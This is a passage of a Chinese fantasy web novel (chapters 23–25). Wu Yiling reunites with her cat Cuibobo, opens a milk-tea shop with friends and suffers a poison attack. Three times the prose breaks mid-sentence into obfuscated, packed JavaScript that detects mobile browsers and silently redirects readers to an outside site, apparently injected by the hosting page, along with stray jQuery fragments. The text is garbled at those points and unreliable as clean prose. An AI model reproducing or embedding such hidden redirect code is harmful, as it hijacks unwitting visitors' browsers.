她有些好笑地替苏烟枝拉上被子,正准备上榻时,忽然听见窗下似有微弱的猫叫声。 乌以灵停顿片刻,终于确定了那真的是猫叫声。 夹杂在雨打芭蕉里的,孱弱而可怜的猫叫声。 她披上外袍,撑伞走出屋子,沿着屋檐好一番摸索,终于在芭蕉叶下听见了清晰地呻吟,断断续续而气息微弱,似乎命不久矣。 乌以灵蹲下身,探头朝芭蕉叶下看去。 沾满泥水的雪白毛发,蜷缩成一小团的可怜身影,还有长长的,如同沾染了整瓶墨水的黑色尾巴。 “……脆啵啵?” 乌以灵脸色瞬间变得惨白,她攥紧的手正细不可查地颤抖着,连声音里也带上了自己也未发觉的颤音。 “喵呜……” 听见有人呼唤,小猫试探性地抬起头,在看见乌以灵的刹那,好似感知到什么般,它踉踉跄跄地站起来,跌跌撞撞地扑进乌以灵怀里。 乌以灵眼眶蓦得湿润,眼泪毫无征兆地落下来。 滚落的泪珠滴落在小猫的毛发上,它似乎以为是雨水,正好奇地仰起脸,却对上了面前人忽然蓄满泪花的眼睛。 它伸出爪子,缓缓地贴在乌以灵脸上。 感受到脸上温凉柔软的毛发,乌以灵再也克制不住眼中的泪水。 独自一人来到异世界她没有哭,背负着晏山青带来的死亡威胁她没有退缩,哪怕是后来面对魔物,受人诬蔑,关入水牢,她也从来没有表现出一丝畏惧。 但此刻在孱弱的小猫面前,乌以灵却是泪流满面。 “脆啵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277440|180905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啵,你怎么会在这里?” 乌以灵轻声喃喃着,像在问怀里的小猫,也像是在问自己。 但小猫当然不会回答她,小猫只是感受到怀抱的温暖,大着胆子在她身上钻来钻去,甚至把泥水也带到乌以灵干净的衣服上。 乌以灵浑然未觉,她望着小猫浅色的眼睛,温声道,“你还愿意和我一起走吗?” 小猫咪呜咪呜叫着,却把乌以灵的思绪拉回许多年前。 - 那年,十五岁的乌以灵趁夜偷偷翻墙爬出福利院,她重重摔在满是泥水的地面上,浑身好似骨头断了般疼痛。 她躺在冰凉的雨夜里,不敢求救,甚至不敢大声呼吸,生怕被人发现自己。 不知道过了多久,缓过来的乌以灵才忍着剧痛爬起身,她的步伐踉踉跄跄,但却是越跑越快,终于把福利院远远丢在身后。 也把那个企图猥亵她的福利院院长远远丢在身后。 但乌以灵不知道该去哪里,她茫然地站在城市中央,满身泥水,脸色苍白,与周遭光鲜亮丽的人群格格不入。 她漫无目的地走了许久,兜里攥着从牙缝里攒下的七百块钱。 不知道过了多久,她终于走累了,蹲在店铺的屋檐下,眼神空洞地望着来来往往的人流。 “喵呜喵呜……” 不知道从哪来的小白猫轻轻蹭着她的脸,长长的黑色尾巴在她身上转来转去。 “抱歉小猫,我没有吃的。” 但乌以灵的拒绝没有抵消小猫的热情,它咪呜咪呜叫着,轻巧跳进乌以灵怀里,熟练亲昵地贴着她撒娇卖乖。 乌以灵揉着小猫毛茸茸的脑袋,手心里是奇妙的触感,温暖而柔软的毛发穿过指缝,美好得不可思议。 乌以灵抱着小猫在屋檐下坐了许久,直到最后,小猫都没有离开的意思。 “你想和我一起走吗?” 小猫蹭着她的脸,自来熟般钻进她的外套。 乌以灵抱起小猫,走进旁边的店里。 这是家奶茶店,过去乌以灵时常经过,她很喜欢店里明亮柔和的灯光和甜香馥郁的味道,但也因为囊中羞涩不敢乱花一分钱。 但今天不一样。 今天她从福利院逃出来,还捡到了一只小猫。 她要好好庆祝一下。 店员小姐注意到满身泥水的她,明显愣住了,但很快又露出职业微笑,重新问道,“想要什么呢?” 乌以灵的视线在长长的奶茶单上徘徊,最后试探性地点了个最便宜的。 店员小姐又笑道,“今天店里做活动,可以免费加小料哦?想加什么小料呢?” 乌以灵不认识五花八门的小料,她抿着嘴唇,随便指了一个,“脆啵啵吧。” 小猫也喵喵叫了两声。 店员小姐不由得发笑,“小猫也喜欢脆啵啵呀?小宝贝,你叫什么名字?” “名字……”乌以灵轻声重复两遍,随后她抱起小猫,“就叫脆啵啵吧,喜欢这个名字吗。” 脆啵啵似乎挺喜欢这个名字,每次乌以灵叫它时总会第一时间回应。 乌以灵抱着脆啵啵坐在靠窗的座位上,一人一猫无声地望着窗外万家灯火。 “脆啵啵,以后我们也会越来越好的。” 室内温暖如春,很快窗户上凝结了一层水汽。 乌以灵轻声说道,“我离开了福利院,马上就能去上高中,我的成绩很好,不出意外可以拿到奖学金,而且我也很能干,课余时间会去打工……你跟着我不会吃苦的。” 奶茶的味道温暖香甜,乌以灵过去从来没有喝过,但现在她忽然明白了为什么身边许多人都很喜欢它。 乌以灵望着缩在她怀里的脆啵啵,忽然觉得自己在偌大的城市间有了归宿。 以后总会越来越好的。 - 乌以灵替脆啵啵洗干净身上的泥水,她看着和过去一模一样的小猫,不可避免地想到了高三那年,死在飞驰摩托车下的脆啵啵。 乌以灵垂眸片刻,再次抬眼时,已经掩去了眼中的悲伤。 “难道是因为我们都死在了那个世界?所以才穿到了这里?” 没有人能解释乌以灵的疑惑,但显然她也并不在意回答。 过去她在这个陌生的世界里很难找到归宿,这里的一切都是陌生的,甚至于携带着莫大恶意的。 但是现在…… 乌以灵看着在床上睡得正香的苏烟枝,又看看温暖舒适的小屋,最后抱起昏昏欲睡的脆啵啵。 一切似乎都在往好的方向发展。 她也会在这里再次安家。 23. 阿华田(三) 苏烟枝和安慈对于脆啵啵的出现并不排斥,苏烟枝还表现出了莫大的欢迎,她抱着脆啵啵摸了又摸,最后才爱不释手地放下。 “小乌你运气也太好了,居然能捡到这么可爱的小猫。” 苏烟枝眼睛亮晶晶的,满怀憧憬地想象着,“什么时候我也能这么好运呢?” 安慈捏着脆啵啵的爪子打量片刻,“奇怪了,我原本以为这小家伙是御兽修里跑出来的灵宠,但它身上没有灵力,就是普通小猫……昨晚那么大雨,它从哪来的?” 乌以灵也摇摇头,她轻轻揉着脆啵啵的脑袋,“可能真的是运气好吧。” 苏烟枝好奇发问,“话说,为什么小猫叫脆啵啵啊,这有什么寓意吗?” 乌以灵难得有些卡壳,不过很快她又想好说辞,“这是种小吃的名字,很快你们就能见到了。” “对了,我们今天要去看店面来着。”安慈又道,“这样吧,我亲自跑一趟,等到了再用传声镜把画面传给你们。你们就去雇人题字,怎么样?” “好。”乌以灵点点头,“今早我已经把消息传出去了,应该过不了多久就会有人寻来。” 安慈背上行囊,从袖口摸出白瓷盘飞舟,“那回头见。” - 安慈前脚刚走,后脚就有人寻着乌以灵散播的消息来了。 来者令乌以灵有些意外。 是宗门大比上代表符修出场的女弟子,蝶千羽。 蝶千羽满身首饰发出叮叮当当的脆响,在亮堂堂的日光下几乎是整个人都发着光,才刚进屋就吸引了两人一猫的视线。 “怎么没人欢迎本大小姐?” 蝶千羽抬着下巴,冷艳的目光扫过两人,又不着痕迹地在脆啵啵身上停留片刻。 苏烟枝怔愣片刻,一时没明白这人是来干什么的,只能试探开口,“师姐……您这是来……?” 蝶千羽蹙眉,“不是你们雇人要题字?” “哦哦哦。”苏烟枝迅速反应过来,她飞快给这位大小姐扯了把椅子,又利落地端来茶水,赔笑道,“看我这记性,居然给忘了。” 蝶千羽端起茶水嘬了一小口,当即嫌恶地放下,“什么茶叶?居然粗陋成这样?” 苏烟枝有些发难地僵在原地,下意识朝乌以灵投去求救的目光。 乌以灵接到了她的暗示,面含笑意地在蝶千羽对面坐下,“寒舍不堪,这已经是我们最好的茶叶了。未让师姐满意,实在抱歉。” 蝶千羽盯着乌以灵看了半晌,眼里满是审视与度量,“你就是乌以灵?” 乌以灵脸色未变,“正是在下。” 蝶千羽微微偏头,饶有兴味地笑笑,“看着也不过如此,哪里有传闻里那般神乎其神?莫不是诓骗我的?” 乌以灵不卑不亢,“传闻总是不真切的,事实真相如何,总得师姐亲自见了才能知晓。” 蝶千羽轻笑两声,“宗门里都传闻你的奶茶很是神奇,本小姐还没见过,若是能让我满意,我就答应免费替你们题字。” 乌以灵反倒松了口气,“好,那我定当尽力。” 走进厨房时,苏烟枝寸步不离地跟上来,她小声嘀咕着,“话说小乌,我觉得蝶师姐不像是个好对付的。不如我们换个人吧,万一得罪了她,我们可就真的完蛋了。” “蝶千羽一字千金,她的画作更是有市无价。这样的人愿意亲自登门,我们已经成功了大半了。” 乌以灵挑了两个干净灵果,手中动作未停,“况且我们不过刚刚起步,若是遇到点难处就退却,以后该怎么办?” 苏烟枝明显被说服了,她点点头,“也是,虽然蝶师姐嘴巴刁钻了些,但也没有真的为难我们,那就再试试吧。” 两人回到正厅时,正好看见蝶千羽飞速从脆啵啵身上缩回手。 速度之快,几乎能看见残影。 见两人都在看自己,蝶千羽欲盖弥彰,“看我干什么?我可没做什么。” “没有责怪师姐的意思,师姐若是喜欢,当然可以摸。” 乌以灵把奶茶放在桌上,露出职业微笑,“师姐请用。” 蝶千羽瞪她,“我才没有喜欢!才没有!” 乌以灵从善如流,“知道了,师姐不喜欢。” 说完她朝苏烟枝递了个眼色,苏烟枝立马会意,抱着脆啵啵离开。 蝶千羽眼里的挣扎一闪而过,但最后还是强压下来。 她有些不情愿地端起杯子轻呷一口。 肉眼可见的,蝶千羽眼睛一亮。 乌以灵心知,这事成了。 蝶千羽放下杯子,神情依旧高冷矜持,她轻咳两声,“也就那样吧,勉强入得了本小姐的眼。” 乌以灵笑道,“能得到师姐的青睐实在荣幸。” 蝶千羽微微一抬下巴,“答应你了,免费题字,以后再有什么事,也可以来找我。” 乌以灵点头,“多谢师姐。” “说个题外话,有没有兴趣和我做个交易。”蝶千羽的目光落在剩下的半杯奶茶上,“我代表东珠府,为你们提供灵石五百万,此后来我家做厨子怎么样?东珠府可是采珠世家,多少人挤破脑袋都挤不进去,现在我可以考虑给你们开个后门。” 但乌以灵看着大小姐清澈漂亮的眼睛,她知道蝶千羽是没有恶意的。只是她的出生注定了她到哪里都会有无数人捧着她,这也使她很难体会普通人的心态。 她或许只是真的觉得来自己家里当厨子是个很好的活计。五百万灵石,是多少人穷极一生也难得到的。只是这显然与食修的初衷相悖,也与乌以灵的目标相悖。 “抱歉。”乌以灵顿了顿,“我们目前已经有了其它想法,不能答应师姐了。” “开店吗?听起来可比当厨子困难多了。”蝶千羽略显遗憾,“罢了,我也不会强人所难,随你们去吧。” “笔拿来,我现在题字。” 随着蝶千羽的话音落下,苏烟枝当即递来笔墨纸砚,端端正正铺在桌上。 蝶千羽未做犹豫,她笔走龙蛇,泼墨淋漓,转眼间“饱暖茶”几个字已经出现在纸上。字迹翩若惊鸿,苍劲有力,甚至于称得上力透纸背,这和与蝶千羽俏丽花哨的外表截然不同。 “好了。” 蝶千羽放下笔,“其实比起题字,我的画更好,以后你们要是用得着作画的地方,可以直接来符修系找我。” 乌以灵拱手一笑,“多谢师姐。” 蝶千羽望向窗外天色,随后站起身,“我还有事,先走了。” 但就在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288738|180905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她出门前,脆啵啵不知道从哪个角落里跑出来,它被蝶千羽身上亮晶晶的漂亮首饰吸引,想也没想就往人怀里钻。 “脆……” 苏烟枝下意识要拦住它,但下一刻,却见蝶千羽动作熟稔地抱起脆啵啵,在它圆圆的脸上不轻不重揉了揉。 片刻之后,蝶千羽把脆啵啵放在桌上。 “哪来的猫?下次看好它!不是什么阿猫阿狗都能靠近本小姐的。” 乌以灵不难看出蝶千羽的嘴硬心软,毕竟她的目光现在还黏在脆啵啵身上。 - 送走蝶千羽后,传声镜里又传来了动静。 安慈的身影出现在传声镜里,他背后是间不算大的屋子,安慈举着传声镜转了几圈,让她们看清楚屋子的角角落落。 “我觉得这里还不错,就像烟枝说的这样,靠近人族的集市,又在几大宗门必经之地,路上能见到好些来来往往的修士。” 安慈的声音穿过传声镜,清楚地落到两人耳中,“这里不算大,但应该够用,摆件器皿也干干净净……你们觉得怎么样?要是觉得可以,我待会就把它盘下来。” 乌以灵仔细看过安慈传来的画面,她抬头与苏烟枝对视,见苏烟枝亦是满意地点头,“感觉不错,那个急着转手的师弟怎么说?” 安慈笑了笑,镜面一转,露出年轻师弟羞涩稚嫩的脸,他小心翼翼开口,“乌师姐好,我是店主。” “师弟好。”乌以灵难得见到辈分比自己小的弟子,语气下意识温和了些,“师弟有什么要求可以尽管提,不必拘束。” 师弟扭扭捏捏地扯着袖口,他抿着嘴唇,耳尖也不由自主泛红,“就按最开始说的来吧,我没什么要求。” 安慈只当他是怕生,于是哥俩好地拍拍师弟的肩膀,“没事的师弟,这铺子毕竟也是你的心血,有要求尽管说。” “不不不……”师弟的脑袋垂得更低,几乎要埋到地缝里,而他的声音更是轻如蚊蚋,“我听说了乌师姐的事迹,我很…很崇拜您……您能看上我这铺子,实在是太好了……” 乌以灵眼里含着些笑意,“既如此,就多谢师弟的好意了。往后若是遇了麻烦,尽管来找我们,就当是多个朋友多条路了。” 苏烟枝圆溜溜的眼睛落在师弟红透的耳朵上,不知是想到了什么,忍不住咯咯笑了半天。甚至直到乌以灵切断传声镜之间的联系时,她仍然笑得合不拢嘴。 乌以灵看向她,“想到什么了?笑成这样?” 苏烟枝吐吐舌头,“嘻嘻,不告诉你。” “好啊烟枝,还有秘密了。”乌以灵佯装恼怒,故意敲敲她的脑壳,“把你脑袋里的废料倒一倒,快起来干活。” 苏烟枝终于止住了笑,这半天下来她也有些累了,于是撒娇似的靠在乌以灵肩头。她怀里抱着正在打盹的脆啵啵,声音呢喃似在自言自语,“小乌,真是不可思议,似乎昨天我们还是默默无闻的食修弟子,一眨眼连铺子都开起来了……想来,我爹娘也会为我高兴吧。” 乌以灵任由她靠着,眼底含着淡淡的笑意。 “一定会的。” 檐下日光斜淌而下,穿过浓密的花荫倾泻在桌案间。 乌以灵到这时才恍然发现,原来这个世界,如今正是盛夏。 24. 阿华田(四) 少年人办事最不缺的就是热情与血性,等到店铺风风火火地张罗起来,拢共也不过几日的时间。 乌以灵打算开店的消息,早就如同长了翅膀般飞遍玉音宗每个角落。 所以等到店铺真的开张那日,门口已经被围得水泄不通。 乌以灵早有预料,她提前从食修学宫里找了几个相熟的师兄师姐帮忙,再算上苏烟枝和安慈,如今店里的伙计倒也勉强够用。 不过…… 乌以灵看着门外黑压压的人群,又看看苏烟枝算账算得几乎快要冒烟的手,心想还是得再雇几个人。 当然她自己也不轻松,手里摇奶茶的速度永远赶不上订单喷出来的速度。 是的,喷出来。 开店前一天乌以灵仿照着收银机搞了个装置,大概就是若是有人点了奶茶,对应地后厨窗口就会自动弹出来一张写了奶茶名字与需求的订单。 但今天的人实在太多,甚至于上张订单还没弹出来,下一张又接着堵在后面,以至于总是往往连着几十张纸片共同喷射而出,白花花地落了满桌子,和下雪似的。 忙碌间乌以灵忽然觉得胸口刺痛,像是细针扎进肺管。她眉头微蹙,并没有多想,甚至连手里凝冰的动作都没停。她只当是自己忙了太久累坏了,毕竟过去打工时这种情况也是家常便饭。 “小乌小乌!”安慈从后拍拍她的肩膀,“梅长老来了!” 乌以灵把手中的那杯奶茶做完,抬头时冷不防被安慈抓住手腕。 安慈猝不及防对上乌以灵苍白得毫无血色的脸,他吓了一跳,“小乌你怎么回事?脸色怎么这么难看?快去歇会!” “没事,可能只是站久了。”乌以灵摇摇头,若无其事地抽回手,“梅长老在哪?” 她脚步飞快地往外走,顺嘴撇开话题,“话说,我们今日开店,怎么没见到李长老?是出什么事了吗?” 安慈四处望望,确定没有人看过来,这才压低声音解释,“李长老忽然闭关了。” 乌以灵有些诧异,以李观水如今的修为,除却受了什么致命伤,否则应该不会宣布闭关的。 安慈又道,“长老外出回来当天就声称闭关了,我们都不知道是出了什么事。按理说长老平日对我们那样好,怎么可能错过今日开店?所以我想长老应该是有什么难言之隐,但现在他闭关,即使有什么困惑也只能等出关再说了。” 乌以灵仍是不太放心,还再追问两句,又猛地撞进一双温柔慈爱的眼睛。 “梅长老……” 乌以灵刚要驻足行礼,却被梅雪青轻轻按住,她静静打量乌以灵片刻,很快面露忧色,“好孩子,别忙坏了,快来歇会儿。” “不碍事的梅长老。”乌以灵笑笑,“您今天能亲自来,实在再荣幸不过了。” 梅雪青笑吟吟地从袖中拿出几个精致的荷包,“这是我和观水的一点心意,他不能亲自来,我代他转交,也算是恭贺你们开业大吉,快些收下吧。” 乌以灵接过荷包时,那股熟悉的灵力再度流过指尖。 同时她注意到,暗色的荷包上绣着造型独特的金色图腾。 不知道是不是乌以灵的错觉,她觉得胸口的疼痛似乎加重了几分。 在乌以灵垂眼的空隙里,她隐约察觉到一道紧紧缠绕着她的目光,但也是瞬息之间,再反应过来时,那道如同毒蛇舔舐的目光已然消失了。 乌以灵不由皱眉,但抬头时却又对上梅雪青温和关切的目光。 梅雪青说话时依旧是轻声细语,仿佛是怕惊扰了什么,“礼也送到了,我就不打扰你们了。能看到你们这样受欢迎,我真是打心眼为你们高兴,也为观水和食修高兴。” 梅雪青才刚走,乌以灵身边瞬间又被来来往往的弟子们围得走不动道。 一张张或好奇或崇拜的脸凑在乌以灵身边,你一言我一语地问这问那。 这群人乌以灵基本对不上脸和名字,但她仍然保持着最为热情礼貌的微笑,挨个解答他们的疑惑。 有人大着胆子问,“师妹师妹,为什么你给每种灵果都取了不同的名字呢?这有什么寓意吗?” 乌以灵组织着浅显易懂的语言回答道,“当然有,每种灵果各自有着不同的功效,像是自小与灵果打交道的猴妖或者雀妖一尝即知。但我们人族却需要辅以外力,就比如制作成果茶,在这之后便可尝出每种灵果的功效。诸如草莓灵果可以打通体内郁结的沉疴旧疾,又像是芒果灵果能让人荣光华发容貌更甚。” “师妹,那你说的芒果可是用在了这杯杨枝甘露里?” 乌以灵笑道,“自然,这还是大比时的宗主同款呢,大家都可以去试试。” 显然“宗主同款”四个字比什么招牌都好使,大家想到宗门大比上颜鹤子的夸奖,一个两个都管不住钱袋地跑去结账了。 打发完眼前的弟子们,乌以灵终于能稍作休息。 她打开手里的荷包,发现里面装着几块高品灵石,按照这个世界的灵石换算规律,三块高品灵石大概等同于三十万普通灵石。 没有人会和钱过不去,乌以灵也不例外。 她收起灵石,心里原本那点怀疑此刻也烟消云散。 - 入夜后,乌以灵坐在桌前清点着今日的收入。 苏烟枝忙了一天,这会儿连饭都没吃就趴桌上睡着了。 安慈端来饭菜,见状又把她的那份放回锅里热着。 “小乌,别算了,先吃饭。” 安慈大快朵颐着招呼乌以灵,乌以灵闻声回头,她有些困倦地放下纸笔,轻手轻脚走到安慈身边坐下,温声道:“辛苦你了。” “大家都辛苦,忙了一天下来,可不是累坏了?”安慈笑着摆手,“话说小乌,今天赚得怎么样?” 乌以灵疲惫的脸上露出欣慰的笑,“比预料中好很多,同窗们都很捧场不说,还有好些被吸引来的普通人。” 安慈闻言点点头,一听到赚得多,这会腰也不疼了腿也不软了,只觉得浑身神清气爽,不由得开了个玩笑,“太好了,像这样下去,没多久我们就要成玉音宗首富了。” 乌以灵笑着摇头,“这才哪到哪?” 安慈放下碗筷,“对了,小乌,我们下一步该做什么呢?我们的奶茶在宗门里确实很受欢迎,但在普通人里的影响实在有限。大陆何其辽阔,若想要把名声传出去,单单依靠宗门的力量又何其困难。” 乌以灵起身离座,她走到书柜前,拿出早早准备好的骨笛,放在安慈面前。 “我和晏师兄做了个交易,以最后收入瓜分为条件,从他那里拿到了妖市的渠道权,我们可以拿着骨笛号令群妖。” 安慈不明白,妖族和他们说的话题有什么联系。 似是看出了他的疑惑,乌以灵继续解释,“上回我们去妖市时,不是听说了妖族为什么要开办妖市?因为他们缺钱又缺住所,他们想尽早赚够灵石以便安家定居。既如此,我们就为他们提供契机。将店面开到大□□处,先零星散布于繁华集市,等赚到钱了再向更为偏远的地方扩散。而在这个过程里,分布于大陆每个角落的妖族,就可以成为替我们料理店铺的最佳选择。” “这样一来,我们找到了走向远方的途径,而妖族也得到了安生立命,丰衣足食的契机。同理,在妖族中多有擅于品鉴灵果的小妖,即使远在天边,我们也不必忧虑他们会在制作奶茶的过程里出岔子。” 安慈若有所思地点点头,“感觉很可行,那我们什么时候再去趟妖市?” “过两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296537|180905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天就行,先得等这里的情况稳定下来。” 乌以灵低着头继续扒饭。 忽然,她觉得脑袋一沉。 脑中好似灌入了重重的铅块,紧接着,胸口又是一阵刺痛,几乎像是无数根尖细锋利的长针刺入胸口,密密麻麻地疼痛扎得她甚至说不出话来。甚至连耳边安慈的声音也变得模糊不清。 喉咙里忽然漫上腥甜味,乌以灵撑在桌边,大口大口喘着气。 这是……穿肠人毒发! 怎么可能?距离上次毒发哪里有一个月? 意识陷入模糊的最后一刻,乌以灵心里仍是不可思议,她强撑着最后一丝精神,紧紧攥住安慈的手,语气虚弱至极,“去……去找晏山青……” 安慈此刻早就急得满头大汗,方才他叫了乌以灵无数遍,但乌以灵好似已经听不见任何声音。此刻听见乌以灵的回答,连忙一口气应下,“好好好,我现在就去!” 甚至于他都没有注意到,乌以灵称呼里的变化。 乌以灵的意识逐渐陷入昏沉,她似乎感觉到灵魂逐渐脱离了□□,在混沌茫然的识海里,疼痛有如潮水般褪去,剩下的只有荒漠般的死寂。 她似乎能看到到安慈着急跑开的背影,也能听见苏烟枝断断续续的哭声。 但这些很快远去,直到彻底堕入黑暗。 - 意识沉浮间,乌以灵又回到了高三教室。 黑板上的鲜红的高考倒计时依旧刺眼,身上的冬季校服依旧臃肿丑陋,耳边依然纸页摩擦的声音依旧悉悉索索。 “小乌,那个…找你……在后门……” 同桌压低声音靠近,乌以灵看见了她满是忧虑地眼睛。 乌以灵下意识回头。 冬天的教室常常门窗紧闭,生怕把来之不易的暖气泄露出去。但此刻后门打开,寒风扫荡入内,可没人敢多说半句。 站在门口的几人个子极高,满身潮牌让人不敢靠近,他们懒懒散散地倚着门框,好整以暇地等待着什么。 乌以灵的目光缓缓向上抬起,她看见了……三张没有五官的脸。 但乌以灵却能感知到,他们在看她。 在那一瞬间,感官似乎被放大无数倍。 因为没有吃早饭,胃里翻江倒海的绞痛与大脑充血的昏沉;潮湿阴冷天气下,半干的校服上隐隐约约的霉味;剪短后来不及打理的发丝,湿漉漉地黏在脸上。 还有,心里那股没有来头的怒火。 像是熊熊烈火烧穿了五胀六腑,在燃烧为灰烬后,徒留满地的绝望。 - 等再次睁开眼时,乌以灵仍然觉得胸口沉甸甸的。 但和方才的感觉似乎不太一样,她低头看去,发现是脆啵啵趴在她身上。 乌以灵揉了揉猫头,也没有把它挪开。 不知道为什么,方才幻境里无比真实的情感,此时已然褪得干干净净,甚至于乌以灵已经很难回想起那究竟是什么。 “师妹对这蠢猫倒是纵容得很。” 听见熟悉的声音,乌以灵连忙坐起身。 现在似乎已经是深夜,屋里没有烛光,只有凉如水的月光倾泻而下。 晏山青半张脸隐没在黑暗里,乌以灵看不清他的样子。 “晏师兄。” 乌以灵动作轻缓地把脆啵啵放到旁边,转而看向不知在床边坐了多久的晏山青。 晏山青眼底神情晦暗不清,“是之前水牢的毒水催化了毒性。” 水牢的水吗…… 乌以灵回想起这两次相似的幻境,隐约察觉到它们之间或许有某种联系。 沉默在两人之间蔓延。 良久之后,晏山青倾身靠近。 “师妹没有什么想说的吗?” 25. 阿华田(五) 乌以灵笑笑,“没什么想说的,这事也怨不得师兄。” 晏山青凝视着她,凉薄如利刃的目光试图刺开她披着谎言的外皮,但很可惜,这段时间下来,乌以灵扯谎的技术越发炉火纯青,他很难从中看出什么。 脆啵啵不知何时悠悠转醒,它喵喵叫着朝乌以灵跳来。 乌以灵抱着它,动作温柔地抚摸着小猫的脊背,低垂的眼睫隐去了眼底所有情绪。 半晌,乌以灵再度抬头,“多谢师兄今夜能赶过来,往后师兄若是有用得到我的地方,可以尽管提。” 乌以灵这话说得实在客气,他们两人本来就是互相利用的共生关系,谈不上谁该感谢谁,毕竟不论哪个人出了闪失,另一个都不好过。 更何况,乌以灵在这段关系里还占据着上风——她手里还有晏山青其它把柄。 “师妹可曾好奇过,穿肠人这种毒药,究竟是什么?” 晏山青的声音不急不缓,但乌以灵手中的动作却是蓦然顿住。 她当然想过这个问题,为了自谋生路,乌以灵研究过解药的残渣,也试着翻阅书籍查找有关穿肠人的记载,但无一例外毫无收获。 浩如烟海的古籍里,竟然找不到丝毫有关穿肠人的记载。 晏山青注意到她态度的转变,不由得哼笑,“此毒来自魔族,仙门典籍自然只字不提。” “魔族?”乌以灵顿了顿,而后用玩笑般的轻松口吻道,“师兄身为仙门正道,怎么还学起了这些歪门邪道?” 晏山青好似没有听出这调侃之下的威胁,“即使在魔族,它也是被视为禁忌的剧毒。不过它最初不是用来杀人的,而是用来治人的。若遇野性难驯之人,便会给他喂下穿肠人,再用解药吊着他。这样下来,再怎样不听话的爪子也会被磨平,直到成为乖乖听话的傀儡。” 乌以灵无声地笑了,“师兄觉得,我也是这般野性难驯之人?” “自然。” 晏山青忽然靠得很近,但乌以灵讨厌这种带着压迫感的接触,她下意识要后退,却被晏山青紧紧抓住手腕。乌以灵抬头时,清晰地看见晏山青近在咫尺的脸,还有他乌沉沉的眼睛里,自己的倒影。 “师妹确实野性难驯,可我反觉得……师妹这般模样,倒是格外有趣。” 乌以灵抽出手,脸上笑容淡了些,“师兄觉得有趣就好。” 晏山青饶有兴趣地打量着她的冷脸,“你是在恼怒,我把你当成解闷的玩意儿?” 乌以灵望着咫尺之遥的晏山青,缓缓摇头,“没有什么好恼怒的,师兄和我思虑处事的方式并不相同。师兄看似风光霁月,温和良善,实则最是冷血无情,身上还背负着若是宣之于众,必然会身败名裂的秘密。” “师兄的才情远在旁人之上,以至于师兄做任何事都是游刃有余的。之前除魔如此,给我妖市的渠道权亦是如此。这也注定了你平等地看不起身边的每一个人,又或者说,你从未把他们当成人看待。” “所以我也没有必要因为师兄把我当场玩物而羞恼,毕竟从最开始,我们本就不是一路人。师兄如何看待我并不重要,我也不会想着去改变师兄,我只要能从师兄得到我想要的就足够了。”乌以灵语气平静地陈述着她所认为的事实,“若是没有这场利益交换,我们也不会走到一起。” 晏山青眼里的笑意逐渐散去,他看着明明近再眼前的乌以灵,却觉得怎么也看不透她。 会恐惧颤抖的是她,会装乖卖笑的也是她,脑中满是筹谋的是她,步履不停往前走的也是她,对着苏烟枝安慈他们温柔和善的是她,对自己假心假意算计不断的也是她。 或许他早该知晓,如今的乌以灵,和最初那个从未记住面貌的乌以灵,早就不是同一个人了。 也或许真如同她所说的那般,只要尚未被心神左右,万事就仍在她掌控之下。 她会畏惧,会痛苦,会恼怒,但不会被它们吞没。 皎洁月光落在乌以灵脸上,少女安静而冷淡,望着他的目光里是辽远的深意,仿佛在透过他凝视着什么。 晏山青忽然明白过来,这或许才是剥开所有伪装后,最真实的乌以灵。 他低不可查地轻声笑了,指尖缠绕着乌以灵的长发,“师妹说笑了,我怎么会把你当成玩物呢?这般有趣的师妹,千百年来我也只见过你这一个。” 不知道是不是错觉,乌以灵从他这话里品出了少有的真诚。 应该是错觉。 晏山青这种人,怎么会和真诚扯上关系呢? 未待她再说什么,晏山青站起身,他似乎想伸手摸摸脆啵啵的毛发,却被乌以灵先一步打断。 晏山青看出了她的抗拒,也没有强求,那只悬在半空的手转而在乌以灵眉心上屈指弹了下,“做个好梦,小师妹。” 望着晏山青消失在月下的身影,乌以灵许久没有睡意。 她能察觉到晏山青对她的态度似乎有了丝改变,但她说不清是什么变化,也说不清转变的源头是什么。 乌以灵不太想为难自己,既然想不出来,她也不愿再想。 - “小乌,你真的没事吗?” 几天内,苏烟枝第无数次捧着乌以灵的脸看了又看,眼里的担心几乎要溢出来。 “没事。”乌以灵有些苍白地解释着,“真的只是累坏了,不用担心。” 苏烟枝皱着眉头,“只是累坏了?那为什么要把晏师兄找来?” 乌以灵嘴角的笑容发僵,在苏烟枝审视的目光下,只能避重就轻地找补,“嗯…因为之前也有过类似的状况,那时也是因为有晏师兄帮忙,所以这次自然而然地想到他了。” 安慈仍然心有余悸,“小乌,你那天真的把我吓坏了。” “抱歉抱歉。”乌以灵双手合十,“我以后再也不会了,我发誓。” 